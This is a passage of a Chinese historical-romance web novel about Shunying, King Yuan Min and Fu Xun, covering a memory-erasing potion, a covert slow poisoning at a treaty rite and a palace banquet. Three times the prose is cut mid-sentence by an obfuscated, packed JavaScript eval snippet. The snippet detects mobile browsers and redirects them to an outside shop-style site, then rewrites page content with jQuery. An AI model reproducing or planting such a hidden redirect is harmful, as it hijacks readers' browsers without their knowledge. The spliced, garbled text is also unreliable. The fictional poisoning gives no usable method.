旋即,收获了一个简洁的“滚”。 她已经把他忘得干干净净。 . 苻洵客居的敦睦堂距玉明殿并不远,行经门口时忽心念一动,于是寻了个石凳,手臂不动、身子矮了矮托她坐下,轻声道:“少卿请稍等片刻。” 舜英摇头推拒:“已服过汤药,建业侯不必如此麻烦。” 苻洵却已三步并作一步跳上石阶,冲进院内,将她的话当做耳旁风。 约莫片刻后出来,双手捧着一个玉碗,诚恳地呈到她面前。碗里是温水,细嗅有木兰、秋菊、梅蕊、白茶的幽香,和着一丝蜜甜。 舜英诧异问他:“此为何物?” 苻洵动作一顿,眼圈通红冷笑道:“毒药。” 舜英无奈地看了他一眼,端起来一饮而尽。 . 白水之畔重逢后,他终于在灵昌找到了她。 那个除夕夜,雪散烟花遍海隅,他与她对坐高楼窗边,他端出一碗温水递给她。 少年在思慕的女子面前总揣着自卑,何况是曾经如此孱弱、肮脏而丑陋的自己,他后知后觉地庆幸、白水之畔她没认出他。 他已有了职务、准备好宅邸,又开始和元旻合作,一心一意想要追求她、娶她为妻。所以,他希望对他的印象从此刻鲜衣怒马、风流佻达的宗室贵胄开始最好。 她疑惑地问他:“此为何物?” 他定定看着她,笑容促狭:“毒药,敢不敢喝?” 她心一横、眼一闭,端起来,一饮而尽。 . 舜英喝完温水,静坐半晌,只感觉一股暖流在肠胃升腾,逐渐扩散到五脏六腑、骨骼肌理,竟连左肩旧伤都好似愈合了些。站起来,疼痛烟消云散,全身感受到久违的力量。 苻洵笑意温和了几分:“去年在山中向外公学习炼药,炼毒炼蛊都不得法,倒照古方配出了几味伤药,你喝的这个叫‘团栾’,对内伤有奇效。” 摘索又开三两朵,团栾空绕百千回。 递过来的是个黑釉细陶瓶,用圆木紧紧塞住,瓶口仍残留着与方才温水大差不差的幽香和蜜甜,只是少了些茶香。 舜英看着他伸出的手,定了片刻却去接,唇角勾起那抹他熟悉的、礼貌的笑:“如此大礼,愧不敢受。” 深吸一口气,又道:“我与王上已有婚约,不愿践踏别人真心。” “少卿所言,在下都已知晓,在下对少卿从无半点非分之想”,苻洵伸出的手停在半空,微微颤抖,垂目注视着地面,决然地一字字道,“不过眼见少卿受重伤磋磨,略尽朋友之谊。” 舜英后退一步,恭声道:“建业侯慎言,我为翊臣,君为荣将,请回避瓜田李下之嫌。”敛衽一礼,头也不回地转身离去。 她走了许久,苻洵仍维持着伸手的姿势站在原地,笑容愈盛。 玉碗上印着浅浅的胭脂,他轻轻抚过。 像是触摸少女柔软的唇。 . 两年前的除夕夜,喝过了“忘忧”的她,看向他的眼神比先前陌生了点,却蕴着难以自抑的惊艳和欢喜。 “阿洵,谢谢你,有你,我很开心……” 他柔声道:“姐姐只是第一次见我,我却对姐姐爱慕已久?” 她苦笑:“你懂什么是爱慕?” “我懂,就像姐姐对待元旻那样”,他收了笑意,定定看着她,眼中全是缱绻,“也像元旻对高舒月那样。” 她笑容消失了,眼圈又开始泛红。 他忽然热血上头,扣住她肩头,扳得她面向自己:“其实,你并不讨厌我,甚至有点好感,是不是?” 她与他对视一瞬,脸红了,慌乱地摇头苦笑:“我心里已经有四殿下了。” “现在他要娶别人,你的喜欢对他毫无意义”,他心绪翻涌,颤声呼喊,“可你这点好感对我已经足够。” “只要你点个头,我就去向他求娶你,无论他怎样对我、提什么要求,但凡我能做到一定应允。” “你嫁给我,我一辈子对你好,直到你完全忘了他。” 那时的他,还未进过十万大山,也未研习过蛊毒炼制之法,不知服下“忘忧”后,前后一段时间的记忆会模糊、混乱甚至缺失。 就那样不管不顾地将心掏出来,血淋淋地呈给她。 “在下苻洵,倾慕姑娘已久,愿聘汝为妇,朝朝暮暮、终老一生。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981254|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收到突如其来的求婚,怔愣了半晌,轻声问:“其实,我一看到你就觉得很熟悉亲切,我之前是否见过你?” 我们见过的,你给了我刻骨铭心的一个多月…… 元旻授意你的,不过是居高临下救活一条烂命。 你却将那个男孩从泥坑拉起,将碎掉的他一片片拼起来,护他疼他,让他深信自己俊美又聪慧,从此懂了自尊自爱,懂了君子自强不息。 那男孩十三岁才开始学骑射,因你夸他聪明,就风雨无阻地练习,短短两三年竟真练得弓马娴熟。 那男孩念念不忘你如飞燕游龙的姿仪,于是遍寻名师,也学得如你一般的轻身工夫,还有你那一出手就是两三样兵器相协相合、绵延不绝的攻击身法。 用了整整五年,一千八百多个日日夜夜将自己打碎了重塑,才变成如今风度翩翩、姿仪俱佳的模样站在你面前。 他心里在疯狂叫嚣,面上却不动声色:“没有,或许是前世吧。” 酒气熏得她双眼迷离,脸颊浅浅晕出绯红,她声音更低:“阿洵,其实你很好,虽然我知道该放下四殿下,可现在一时还放不下……” “没事,我们可以先订婚,等几年再成婚”,他笑了,“还有很长时间慢慢相处,只要有好感,总会越来越喜欢的。” 她认真地注视着他,脸更红:“这样会不会太委屈你了?” 他泰然道:“很少有一开始就两厢情愿的,总要有人先主动走近对方,你要不要试试,或许我更适合你?” 她眼神澄澈如水,盛满与五年前一模一样的信任,有些茫然:“怎么试?” 他按捺住激烈的心跳,看了她许久,终于下定决心。 慢慢侧过脸,双唇试探着覆上她的额头,谨慎而珍惜地一点点下移。前所未有的体验,她双眸先是错愕地睁大,逐渐变得飘忽、雾蒙蒙的,呼吸也开始紊乱。 他在靠近她嘴唇时迟疑不决,就那般停滞在咫尺,四目相对的刹那,她慢慢闭上眼,柔软的唇生涩地向他靠了点。 他心神一漾,感觉眼前绽开大片鲜花,前所未有的暖流传遍全身。 去年正月十六,他欣然前往质子府,想寻找时机推一推与元旻的合作,待关系融洽、时机成熟了,就提出求娶。 前堂相遇时,他看到她耳根微红,心中暗喜。岂料隔得远了,背后遥遥传来一句“他就是建业侯?” 他敏锐地觉察到,有些东西超出了他的预料。 后来才知,她喝了他亲手端过去的“忘忧”,忘了他最不堪的模样,也忘了他们相互爱慕的时候。 错过那一个月、错过那一个时辰,错过了她的一生。 . 舜英回到寝殿霜仪阁,关上门用后背抵住,心绪翻涌。 为何面对苻洵,总感觉相识了很久,总会怅然若失、生出淡淡酸涩? 就好似,心头软肉被狠狠剜走一块,碎片不大,却极深、极要害。 头有些晕,和衣躺在床上,忽然感觉这偌大宫室如此空旷,一股萧索和孤独挥之不去,合上双目,眼角垂下两行泪。 这些日子,总有些浮光掠影在梦中一闪而逝—— 她站在伊河边,对消失在风沙中的一袭红衣挥手,扬声呼喊“不要忘了我”。 她在漫天烟花里抬眸,对面的红衣少年面目模糊,她心跳却无端漏了半拍。 这些温暖激动的画面支离破碎,极不协调地镶嵌在夜夜重复的可怖梦境里:云遮雾绕,天空一轮血红圆月,鲜血没过小腿、漂着无数尸骸,一只又一只惨白的手伸向她,哀嚎阵阵。 血红色天空传来断续的吟唱,嘶哑阴森如诅咒。 “……纠缠难分是半世的纠葛;颠沛流离是此生的挚爱……” “两个男人,此生挚爱、半世纠葛……不得往生,不得解脱……” 颠来倒去的梦魇一直持续到五月二十四,元旻的仪仗浩浩荡荡从东而来。 45. 梦中身 当夜又是一场饮宴,舜英守着宾客散尽才怏怏回房,翻来覆去睡不着,掌灯起来坐在窗边发呆。过了不久,她看见元旻同几位近臣谈事完毕,斥退宫人和内卫,跟着进了霜仪阁。 他匆匆推门进来,迫不及待紧紧抱住她:“一天没看到简直如隔三秋,这几天可好?” 她身躯僵了僵,将头埋在他胸口,吸着熟悉的气息,心绪逐渐笃定。 元旻矮身仔细看着她:“气色怎么这么差,药按时喝了没?” “按时在喝,已好了许多”,舜英在榻边坐下,弯了弯唇角挤出微笑,“你舟车劳顿,早些回去歇息吧。” “你这几天都没睡好觉?”元旻心疼地盯着她乌青的眼圈,垂眸思索片刻,“我今晚不走了。” 舜英一愣,他脸红了,忙不迭解释:“上次是喝醉酒,我现在绝无冒犯之意,只是许久不见甚是思念,想多看看你。” 舜英垂眸盯着地面,竭力平复心绪,摇头驱走脑中纷乱的念头。 元旻目光熠熠、期盼地注视着她:“阿英,不如我们早些成婚?” 话一出口,屋里一片沉默。 舜英如梦初醒,点点头,挤出一个微笑:“这屋子大得很,不走就不走吧。” 元旻不禁笑了,心被和风吹化,像一池又软又暖的春水。 叫了碗安神汤让她喝下,等她在床上躺好,细致地替她掖好被角,回到屋子另一侧的榻旁:“喝了安神汤就好生歇息,建宁王苻沣明天就到了。” “不熄灯么?” “我再看会儿折子”,元旻靠在榻上的软枕上,不知从哪摸出一叠折子,就着烛火批阅起来,见她注视着自己,忙笑着宽慰,“再过上几年,手下的人用趁手了,就不必这样忙了。” 批了不到十份折子,床上传来的她喃喃梦呓“放开我”、“别拉我”、“救命”,混杂着时不时的哽咽。 她躺在床上,睫毛剧烈颤抖,额头满是冷汗,双手徒劳地挣扎着要抓住什么,浑身颤栗。 十几年来,哪怕刀斧加身、尸山血海,也未见她如此惊惧过。 他陡然一惊,忙过去推她,连连呼唤:“阿英醒醒……” 不知推搡了多久,深陷梦魇的人呼吸越来越急促,直直弹坐而起,发出一声哀嚎,呼喊之惨烈,好似被什么怪物活活撕裂了躯壳。 舜英呆滞的目光触及那张熟悉的脸,才松了口气,勉强笑了笑。 元旻叹气,传热水进来,绞了张帕子替她擦汗:“梦到了什么?” 舜英蹙眉,艰涩地问:“我娘究竟是谁?” “说她是女将军,我找遍集贤殿三阁,无半分与她相关的记载;说她是隐蝠卫副统领,我问过天枢,征和一朝的隐蝠卫从未有这么个人。” “司南侯是追封的,姨母说我长得像娘亲,可我一要画像,她就顾左右而言。她就像个凭空出现又消失的人,除了太庙里那张牌位,这世上没有她半分痕迹。” “而我只知有母,不知有父,归宗之前让我择姓氏,除了褚,另两个郑、崔又是何意?” “我也不知,父王、崔夫人和许一舟或许清楚,可惜都已不在人世”,元旻叹了口气,“母后或许知晓些,回昇阳了去问问。” 又沉吟道:“初次见你,是征和六年的七夕夜,许一舟浑身是血、抱着尚在襁褓的你冲进勤政殿。第二天,父王交代母后把你当男孩养大,不许任何人知晓你是女儿身,除非郑娘娘诞下子嗣。” “征和八年有了元旭,他很伶俐康健,那年宫变后,父王可能是为了弥补对我的幽禁,许我一个心愿,我向他讨了一份赐婚圣旨给我们,他答应了……但是千叮咛万嘱咐,必须等到元旭顺利就藩才能拿出来。” 舜英微微错愕:“元旭的封地在何处?” 元旻道:“郑娘娘是滬国宗室女,就是那个亡了的滬国,如今改称滬南道了。眼下由郑娘娘的叔父——护国公郑载云代管,赋税贡奉从未短缺,但朝廷派驻军队极难安扎,滬国遗民极重祖宗和血脉,冲突不断暴乱不止。” “所以兼有元氏、郑氏血脉的元旭,成了最好的选择”,舜英点头赞许,又咂舌道,“平原沃野七百万顷啊,抵得过燕、洺两州土地总和,按实按数纳粮的话,税收可增三到四成。” 元旻无奈:“翊国是列国之中常备军数量最多的,有一万铁骑,十五万轻骑,三万水师,其余步兵、算上各州郡常驻的约四十万,另有辅兵、勤务不计其数。” “无他,天险少、平原沃野多、边境线长,坐拥如此大的粮仓,若无精兵强将守护,无异于稚子抱金于闹市。” 舜英想起那年景樊所说,荣国得戎陵以南沃野三百万顷便能直起腰杆,翊之国土较荣国大四倍不止。赋税、国库度支、军防、吏治、邦交,世家大族积久成弊、新旧势力各怀心思。 难怪他即位后一天天废寝忘食、席不瑕暖。却对她如此信重,这些军机秘要也与她细说。 她胡思乱想着,喃喃自语:“或许我真跟滬国有些渊源……去年昏迷时,梦里有个女人自称我娘,像是说什么‘爹爹国破家亡’,得空去滬南道看看吧……” 元旻沉思:“滬南道么?可巧,洛京会盟后你就去御史台领职。” 见她茫然,又道:“最近朔北事态有些棘手,我暂时抽不出手整顿滬南,你去御史台跟卢照仪学些时日,等身子大好了,元旭就藩时你与他同路,我下诏封你为滬南道巡按使,如何?” 舜英难以置信,再三确认:“我为钦差,去巡按形势复杂的滬南道,你也放心?” “阿英可是朕一手带出来,有何不放心”,元旻笑得有些自得,“巡按滬南道,你欲何为?” 舜英思索了半晌,征询问:“削了郑载云的权,扶持元旭坐稳……也不能太稳,助朝廷兵马顺利驻扎?” “正是如此”,元旻颔首赞许,“给你人、给你兵,还是那句话,你只管去做。” 舜英眼圈发热,沉声道:“所谓‘士为知己者死’,君以国士待我,我必国士报之。” 元旻展眉笑了,一瞬不瞬与她对视:“阿英,你不要成天想这些国士不国士、死不死的……我要你好好活着,做我的妻子、与我白头相守。” “我这半生太累,已经没力气再从头了解一个人、信任一个人,再去把另一个人放在心上。” . 次日,元旻卯初便醒了,轻手轻脚起身换衣,去校场舞了几圈剑,不经意间东方已露白。听到靶场传来马嘶声、喝彩声,来了兴趣,挽剑回肘,反手将长剑隐在身后,信步向靶场走去。 元晞带着几名卫尉寺的武官将一人围在中间,看得心潮澎湃。 只见几匹马背上立着稻草人,稻草人脸上贴着画圈的白纸,在离他们百步外兜圈子,正中那人一身石榴红交领箭袖长袍,眼睛蒙着两指宽的玄色丝带,左手挽三百斤强弓,右手三指扣在弦上,张拉如满月的弦上搭了三支羽箭。 马慢跑起来,那人屏息凝神、侧耳倾听,微风带起他额角两绺乌发,玄色丝带下的双唇不点而红,美得不可方物。他忽然松手,锐响破空,三支箭、箭无虚发,深深钉入稻草人脸上白纸、圆圈正中。 元晞带头叫好,其余武官也连连称赞。 元旻默不作声看了半晌,隐隐心惊,苻洵较上次道别,不仅容貌更盛、身姿更挺拔,还多了些难以言说的沉潜刚克。 场中苻洵从背后箭筒再取出一支轻箭,食指、中指及无名指夹住箭尾、慢慢扣到弦上。忽然仰起头,霍然旋身转向、手指一松,箭去如流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981255|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星。 元旻头顶的天空,一只大雁长声哀嚎着坠落下来。 看得兴起的元晞和几个武官,顺箭去的方向回头,震悚大惊,忙齐齐下跪拜见。苻洵听到声音,也赶紧放下弓、扯落眼上绸带,慌乱地屈膝下拜。 元旻唇角微微弯起,眼神冰冷,就那样八风不动、目不转睛地死死盯着苻洵。 空气凝固了,时间一点点过去,那几人额头冷汗涔涔,元旻仍没有叫他们起来的意思。 注视了不知多久,才抬了抬手。 元晞忙道:“谢陛下宽仁,咱们自去领五十军棍。” 元旻淡淡瞥了他们一眼:“卿请自便。” 元晞如蒙大赦,忙不迭拉上那几个武官谢恩起身,一群人鸟雀似的散了。只有苻洵仍双膝跪地,上身挺得笔直,垂目盯着地面。 元旻唇角那丝笑意也散了:“建业侯非朕臣属,不必行此大礼。” “外臣有一事请奏”,苻洵不卑不亢道,“外臣游历四方时,机缘巧合得了些中原没有的秘药,对肺腑内伤效用极好,欲献给陛下,权作两国交好的一点彩头。” 元旻瞳孔急遽收缩,唇角勾起冷笑:“我泱泱大国,有的是名医良药,用不着友邦来操心王族家事。” 苻洵沉吟片刻,一声不吭解下腰间佩剑,平平举过头顶,递到元旻手边:“外臣有幸得陛下青眼,烦劳贵邦国尉大人游说,愿为翊臣,效忠陛下。” 元旻眼神带了一丝玩味:“棠棣情深、大好前程,建业侯竟能如此果断抛诸脑后,不知敝国需要开出何等价码?” 苻洵姿态极低地埋头,轻声道:“有一故人,追随良人入翊为臣,又为此良人百孔千疮、九死不悔。我不奢求什么高官厚禄,只愿与故人同朝为官,倘能以朋友之谊照望一二。” 元旻直勾勾注视着他:“建业侯既知她心甘情愿追随朕,更应知道她已名花有主,不缺你这居心叵测之人的照望。” 苻洵俯身再拜,声音与姿态更低,挑明了说:“外臣与褚少卿打过照面、见她似乎饱受内伤磋磨,外臣如今无半点非分之想,只愿她福寿康宁,求陛下允外臣略尽绵薄之力。” 元旻沉吟片刻,寒声道:“褚少卿托朕转告建业侯,此生只饮翊泉水、只用昇阳药,若因此性命垂危,她自承因果。何况——如今无非分之想,那就是以前曾有过?” 苻洵难以置信地抬头仰视着他,双眸如封存着燃烧火焰的冰层,神情尽是嘲讽:“我有没有过非分之想、你不心知肚明么?不过事到如今,这争抢的心思,却大不过她的性命安危。” 旋即他清醒过来,头埋得更低,肩头微颤声音低哑:“好教陛下得知,她若安好,外臣愿放弃一切权势和志向,换她与陛下白头偕老,外臣所求,不过她一世美满,何错之有?” 元旻直勾勾盯着他,双目似要喷出火来,冷笑着一字一字道:“你敢看她、想她、觊觎她,就是错;你敢对她有过非分之想,就是错;你明知她追随于我,还成天在她眼前晃悠,就是错;你至今仍越俎代庖,惦记她的安危,就是错。” “朕的女人,莫说是受伤,就算是薨了也该埋进阳华山,化成了灰也该在我元氏王陵,与你个外人何干?” 语罢,拂袖转身离去。 元旻离去得很远了,苻洵仍孤零零跪在原地,胸口因悲愤剧烈起伏,一滴又一滴泪水盈出眼眶,在眼底汇成汩汩两行,流满双颊。 许久之后,他缓缓抬起头,举袖拭去泪水,目光逐渐坚定、骄傲而冰冷。 从袖袋取出一只天水碧的小瓷瓶,举到眼前,唇角扬起一丝恍惚的笑意。 “姐姐你看——唯一的活命机会,可他不要。” “元旻,埋进阳华山,在元氏王陵化成灰的,只会是你。” 46. 醉太平 龙门行宫以北,夯土为祭台,高九丈,上设条案、四方铜鼎、香炉、五谷;台下挖出三丈见方的土坑,设牛、羊、豕为太牢,以供祭祀。 五月二十六,元旻与苻沣神色肃穆,携手行至高台之下,土坑之前。二人均身穿玄衣纁裳,配九旒冕冠;元旻衣绘日、月、星辰、凤、华虫,苻沣衣绘螭虎、山、华虫、火、宗彝,下裳一致,均绣着藻、粉米、黼、黻。 内卫手起刀落,于土坑上宰杀三牲。递上短刀给苻沣,苻沣不敢受,双手呈给元旻。 元旻也不推拒,拿过短刀,割下祭牛左耳置于金盘,侍从用一只玉碗、两只玉杯接满牛血递到二人身前。 先端起盛着牛血的白玉杯,一饮而尽。 而后,元旻以狼毫蘸牛血,在白玉板上奋笔疾书:维永平元年,五月二十六,大翊王谨致誓书于大荣王陛下:沿边州军,各守疆界,两地人户,不得交侵……自此保安黎献,慎守封陲。质于天地神祇,告于宗庙社稷。有逾此盟,不克享国。昭昭天鉴,当共殛之。远具披陈,专俟报复。不宣谨白。 苻沣也蘸牛血在另一块玉板上书写,除称谓年号有改,其余内容皆一致。 侍立身后的书吏忙蘸血在绢帛上抄录副本,及至抄录完毕,两位国君亲将玉板置于土坑。鸿胪寺卿周睿才上前,将玉制的圭、璋、璧、琮、琥、璜沉入土坑,示意侍从开始填埋。 元旻又携苻沣沿台阶逐步上行,走向九丈高台的顶端。 苻洵站在台下观礼,从祭典开始至此刻,他都满脸凝重。直到苻沣背对他走向高台,唇角突然绽出一抹玩味的笑,转身,慢慢走向远离祭台的檐下。 掩映于深碧树丛中的檐下有一个石桌,上面放着个圆形沉香木托盘。 高台上,礼乐齐鸣,元旻和苻沣共同托起五个不同颜色的酒坛,依次往五个玉杯倒入清浊不同的酒水,六瑚已馈、五齐流香。 苻洵在石桌前坐下,从托盘中取出瓷杯,从袖中取出那只天水碧的小瓷瓶,倒入三滴药液到杯中,再端起茶壶,往杯中缓缓注入沸水,茶香四溢。 高台上,侍从端上两杯酒,元旻、苻沣拿起小刀刺破手指,往金酒杯中各滴入一滴血。 一如去年秋天,苻洵守在蒙舍王城半山木亭,从袖中取出黑色的瓷瓶,将药粉抖入酒坛,抱起酒坛缓缓摇晃均匀,看着那无色无味的药粉消解于酒液之中。 高台上,溶了两人血液的酒液被端起,送至唇边,一饮而尽。 一如去年,在那木亭中,元旻接过苻洵递来的酒碗,一饮而尽。 苻洵转头看向高台,台上二人正在焚香祈祷,煌煌日光照得他头晕目眩。看得久了,他忽然弯了弯唇,笑容恍惚而冰冷。 祭告什么呢?“有逾此盟,不克享国”么? 一纸盟约,能苟且几年和平? 哪个强国不曾借道义之名,肆意欺凌弱国?哪个弱国要安稳度日,靠的不是厉兵秣马、死守疆域?哪个国家要壮大,靠的不是攻城略地、侵吞别国? 那么多盟约被撕毁,受了神明报应的毁约国有几个? 礼乐渐止,祭告完毕的苻沣走下高台,看到满脸关心的幼弟迎上来,递过一杯茶水。于是欣慰地笑了,接过茶水,一饮而尽。 一如去年,在那木亭中,苻洵目送着元旻走远,从袖中取出那只天水碧的小瓷瓶,滴了三滴到酒碗,再倒入酒液,端起来,一饮而尽。 对于从蛊中炼制的毒,蚩越只说对了一半。 不同于中原剧毒的见血封喉,蛮疆蛊虫九转九炼的毒,初入人体,都是有药可解的。 之后见血疯长,从腠理到肌肤,再到肺腑、骨髓,逐层侵染,时间久了,中毒者全身血液皆成剧毒。 到了那时,才是除了金蝉,药石罔医。 元旻如今精神抖擞、浑然未觉,还在侵染吧……慢性毒药就是如此。 这世间,唯一拥有金蝉的蚩越王,已腐烂在崖底了。 到时,元旻身上的毒一经发作,就没救了。 无妨,五六年而已,他和他的故国,都等得起。 . 五月二十七夜,东道国大翊永平王元旻在玉明殿设家宴,招待奔赴洛京会盟的建宁王苻沣一行。 玉明殿东西两侧复道当空,东侧连接着元旻暂居的棠梨宫,元旻站在复道上看向西边,身后站着两个妙龄女子,正是元昙和元晴。 西侧是苻沣暂居的麟趾宫,苻洵守在门外,待苻沣更衣完毕出殿门,紧随其后向玉明殿款步走来。 “四哥,强扭的瓜不甜啊”,元晴诚挚地劝他,“褚姐姐这么久还未梳妆好,你是不是又强逼她了?” 元旻凉飕飕瞥了她一眼,理都不理。 元昙轻声道:“五姐姐,四哥四嫂情投意合、伉俪情深,怎能算强逼呢?” 元晴一针见血:“那褚姐姐怎么不接你的诏书?” “元晴你……”,元旻忍无可忍,“这次晚宴的常服是她先提了,再着人快马从昇阳送来的!” 元晴撇撇嘴转过去,俯视着在中常侍的接引下,款步走进玉明殿的兄弟俩,眼睛一亮:“真真伟丈夫也……四哥,我找到宿命中人了。” 元旻扶额,不予理会。 元昙顺着她目光看去,怔愣一瞬:“他怎么在此?” 元旻瞥了元昙一眼,意味深长地问:“前头是哥哥苻沣,后头是弟弟苻洵,你说谁?” 元昙有些慌乱,目光在下方人群逡巡片刻,笑了笑:“都不是,中常侍身后那位乐师是琵琶圣手曲纯儿,五年前宫宴上有幸听闻一曲《霸王卸甲》,其沉雄悲壮、凄楚宛转至今难忘。” 元旻点头:“那你今日可一饱耳福了,你呢,方才鬼叫什么?”后半句却是对元晴说的。 元晴兴奋道:“四哥,那就是你说的苻沣?” “我还当你说的苻洵呢”,元旻有些诧异,“不都说弟弟容貌才学更出色么,你瞧瞧,长得不好看?” 元晴摇头:“都瞎了吧,那么重的戾气,哪里好看了?” “征战之人,身带凶戾之气也是常事”,元旻正眼注视着元晴,“往常也未听你说过大哥、四哥和舜英戾气重。” 元晴纠正道:“你们那是罡气,虽同等凶狠,却与戾气截然不同。这人邪门得很,听大哥说想招揽他……奉劝你们打消此念。此人如一柄凶煞至极的邪剑,浴血而生、淬火而刚,无往不利,持之不祥、必反伤己身。” 顿了顿道:“如今未曾毁天灭地,不过是因他身旁的那位……就是四哥说的苻沣,是为他而生的鞘。” “我相信你是凰羽寺修士了”,元旻收了调侃,正色道,“所以你说的宿命中人苻沣?他有妻有女,姬妾成群,你要做甚?” “与成家有何干系,四哥你整天想些什么”,元晴白了他一眼,“剑鞘将破,该修补了。” . “大翊王携家眷入席——”礼官高声唱名。 众人齐齐起身,看向殿门走入的一男三女,除苻沣躬身长揖,其余人皆屈膝叩拜。元旻朗声笑道:“此为家宴,诸位不必多礼,请自便。” 苻洵回到苻沣下首的座位,跪坐下去,抬起上身后,瞥见元旻一行四人,笑容僵在唇边。 元旻穿着白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981256|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绸内衬,牙白底色凤凰暗纹交领窄袖长袍,赤金曲水纹腰带、领口处赤金曲水纹宽边,外罩浅黛色、绣着日月星辰的长比甲,英挺而不失威严,而他右手边那位女子… 她同样穿着白绸中单,牙白底色鸾鸟暗纹交领窄袖直裾曳地长裙,腰带质地、颜色、形制与元旻一致,外罩浅黛色、绣着山川河流的长褙子。 显而易见,与元旻是同一套服色,鸾鸟纹和山川河流,更是大翊王后特权专用的纹饰。 遑论乌黑长发一丝不苟梳成飞天髻,正前别着赤金色九鸾衔珠华胜,两侧各一支鎏金贴翠莲纹钗,脑后别着一枚掐丝蝶恋花后压簪,垂下的流苏随她款步走动簌簌轻摇,妍丽高贵得遥不可及。 舜英肩并肩走在元旻右侧,目不斜视从殿中走过,走到东侧螭陛下,元旻扶着她,与自己一同坐在东侧座首。 西侧座首的苻沣忙起身施礼:“小王眼拙,竟不知褚少卿如此尊贵,先前多有轻慢。” 舜英微笑回礼:“建宁王陛下太过谦逊了,先前国祭,末官身为鸿胪寺少卿,自当对贵宾照应周全;今为家宴,夫主为一国之君,妾身自当以翊王之妻出席,方合乎礼数。” 苻沣落座,细看她片刻,笑着问:“恕小王冒昧,王后殿下看着有些面善。” 元旻笑道:“好眼力,当年拙荆易钗而弁,随朕流落贵国,幸得陛下仁善施救。” 苻沣点头称是:“贤伉俪患难相扶、同甘共苦,足见鹣鲽情深,此一樽我兄弟敬二位。” 下意识看向右手边,却只见苻洵正埋头喝着闷酒,忽地心神一震,想起翊王后为何看起来如此眼熟了。 其实几年前救人时,苻沣并未注意小小随从的容貌。 今天面对着翊王后,他想到的是洛川别苑的那名侍妾,时常与苻洵出双入对,叫什么锦瑟,容貌与翊王后竟有七八分相似。 再联想之前多次与苻洵对酌夜谈,霎时心头雪亮,惊得魂飞魄散。 苻洵若无其事地斟满酒樽,遥遥看向对面夫唱妇随的二人,双眸清亮、唇角笑意如花,挺直上身将酒樽高高举起,朗声道:“臣弟与王兄,同祝陛下夫妇瓜瓞延绵、白头相守。” 元旻端起自己和舜英面前的酒杯,逐次饮尽,淡淡一笑:“多谢建宁王陛下与建业侯,拙荆不胜酒力,此杯由朕代饮。” 舜英转向中常侍:“高朋满座,怎不见舞乐助兴?” 元昙也附和:“王兄,两国已签盟约,自此都是太平人间,不如借此美酒华宴,奏一曲《醉太平》?” 元旻欣然应允。 冰块从铜鼎里沁出丝丝凉意,和着兰麝馥郁、美酒醇香,酿成满殿醉人的喜悦。翠袖招摇、绿腰纤软,舞者飘摇转旋、流风回雪。 箜篌声脆如玉碎、琵琶轻拢慢拈、筚篥幽幽呜咽、羯鼓轻击慢敲。 先一段悠长空茫,仿佛见到茫茫朔北、绵绵青山、潺潺流川,拱卫京师的大好河山; 而后箜篌啭啼,琵琶嘈嘈切切,筚篥变得绵长清亮,从苍黄朔北入锦绣城池,莺歌燕舞杨柳依依,笙歌遍地人自醉; 箜篌愈发轻快高昂,石破天惊逗秋雨,琵琶愈发繁音急节,筚篥渐不可闻,羯鼓愈发激烈密集,似有金甲照落霞、秋风吹铁马,直至四夷归化; 羯鼓渐歇,筚篥细长渐弱,太平盛世日复一日渐至岁月悠悠,曲终收拨当心画,四弦一声如裂帛,所有乐声戛然而止。 殿中众人静了片刻,大梦初醒般,啧啧称赞。 元旻目光如炬扫过殿中,笑容冰冷而锋利,声音字字铿锵:“朕不擅音律,谨以一曲《破阵乐》,敬献建宁王!” 47. 霸王卸甲 宫人鱼贯而出,卫尉卿冯广年接过鼓槌,座下众乐工各执羌笛、二弦、三弦,琵琶,其余笙、编钟、胡琴各有所属。 一名男子身披银甲,率戎装兵士百人上殿,单膝下跪,朗声道:“臣羽林卫副指挥使褚钧贤,率麾下男儿为陛下助兴!” 卫士自成方阵,接过一旁宫人送上银漆木质的刀剑、枪戟。只待冯广年手起槌落、笛声起调,编钟随后,琵琶、二弦、三弦、胡琴接踵而至,其余奏乐紧紧附和……殿中刀光剑影、阵型变换、呐喊震天,如有千军鼎沸、万马奔腾。 扑面而来狂啸的秋风、血色的晚霞,干草、衰杨、黄沙的气息充斥鼻腔、噎满咽喉,橫槊扫千军、血流漂杵腥,烽火照亮了玄阴山的黑夜、飞雪掩盖了河边无定枯骨,圆日急速坠下乌兰山、长流川烟波之中千帆争渡、伊河浊黄的激流冲向大海… 满座衣冠心旌激荡,酒酣耳热间不知不觉以著击盘,慷慨和歌…… 君不见,朔北八月塞草腓,十五从军八十归; 君不见,黄沙碛里无流水,柘枝城中少春晖; 君不见,昭君远嫁已年多,烽烟又起人不寐; 君不见,粼粼白骨梦春闺,古来征战几人回; 